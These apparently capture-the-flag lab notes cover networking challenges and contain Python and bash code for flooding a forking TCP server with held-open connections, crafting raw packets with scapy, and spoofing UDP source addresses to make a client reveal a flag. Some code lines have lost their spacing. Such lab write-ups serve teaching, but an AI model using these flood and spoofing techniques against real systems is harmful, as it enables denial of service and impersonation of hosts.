for i in {1..500}; doexec {fd}<>/dev/tcp/10.0.0.2/31337 2>/dev/null; done
forking server DoS
server uses ForkingTCPServer, client prints flag on
timeout. flood with ghost connections that hold sockets open:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
import socket, threading, time
defghost_connection(): whileTrue: try: with socket.socket() as s: s.settimeout(0.1) s.connect(("10.0.0.2", 31337)) s.settimeout(5.0) s.recv(1) # hold connection open except Exception: pass
for _ inrange(100): threading.Thread(target=ghost_connection, daemon=True).start() whileTrue: time.sleep(1)
scapy
CTF 环境中主机通过 veth pair 连接到 Linux
Bridge(二层交换机)。Bridge 会学习 Source MAC 并记录到 CAM 表,全零 MAC
或非法多播地址会被内核作为 Martian MAC 直接丢弃。必须使用真实 MAC
地址才能让包通过。
raw packets
1 2 3 4 5 6 7 8 9 10
from scapy.allimport send, sendp, Ether, IP, TCP
# L2 - ethernet frame (must use real source MAC) sendp(Ether(src="aa:98:41:69:f7:79", dst="ff:ff:ff:ff:ff:ff", type=0xFFFF), iface="eth0")
# L3 - IP packet with custom protocol send(IP(dst="10.0.0.2", proto=0xff), iface="eth0")
# L4 - TCP with specific fields send(IP(dst="10.0.0.2") / TCP(sport=31337, dport=31337, seq=31337, ack=31337, flags="APRSF"), iface="eth0")
ans = sr1(IP(dst="10.0.0.2") / UDP(sport=31337, dport=31337) / Raw(b"Hello, World!\n")) print(ans[Raw].load)
UDP spoofing
common pattern: server(10.0.0.3:31337) responds NONE to
ACTION?, client(10.0.0.2) polls server. spoof a
FLAG response from port 31337 to make client print the
flag.
spoofing 1 - client on fixed port 31338, expects
b"FLAG":
1 2 3
from scapy.allimport sr1, Raw, IP, UDP ans = sr1(IP(src="10.0.0.1", dst="10.0.0.2") / UDP(sport=31337, dport=31338) / Raw(b"FLAG")) print(ans[Raw].load)
spoofing 2 - client expects
FLAG:host:port, sends flag back to that address:
1 2 3
from scapy.allimport sr1, Raw, IP, UDP ans = sr1(IP(src="10.0.0.1", dst="10.0.0.2") / UDP(sport=31337, dport=31338) / Raw(b"FLAG:10.0.0.1:31337")) print(ans[Raw].load)
spoofing 3 - client on random port, scapy
sr1 can’t match the reply. brute-force all ports with raw
socket:
1 2 3 4 5 6 7 8 9 10 11
import socket, sys
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.bind(("0.0.0.0", 31337)) s.settimeout(3.0)
for port inrange(1, 65535): s.sendto(b"FLAG:10.0.0.1:31337", ("10.0.0.2", port))
spoofing 4 - client also checks
peer_host == "10.0.0.3", so our source must be 10.0.0.3.
but the flag reply goes to FLAG:host:port which we control.
use nc listener in background on the same session: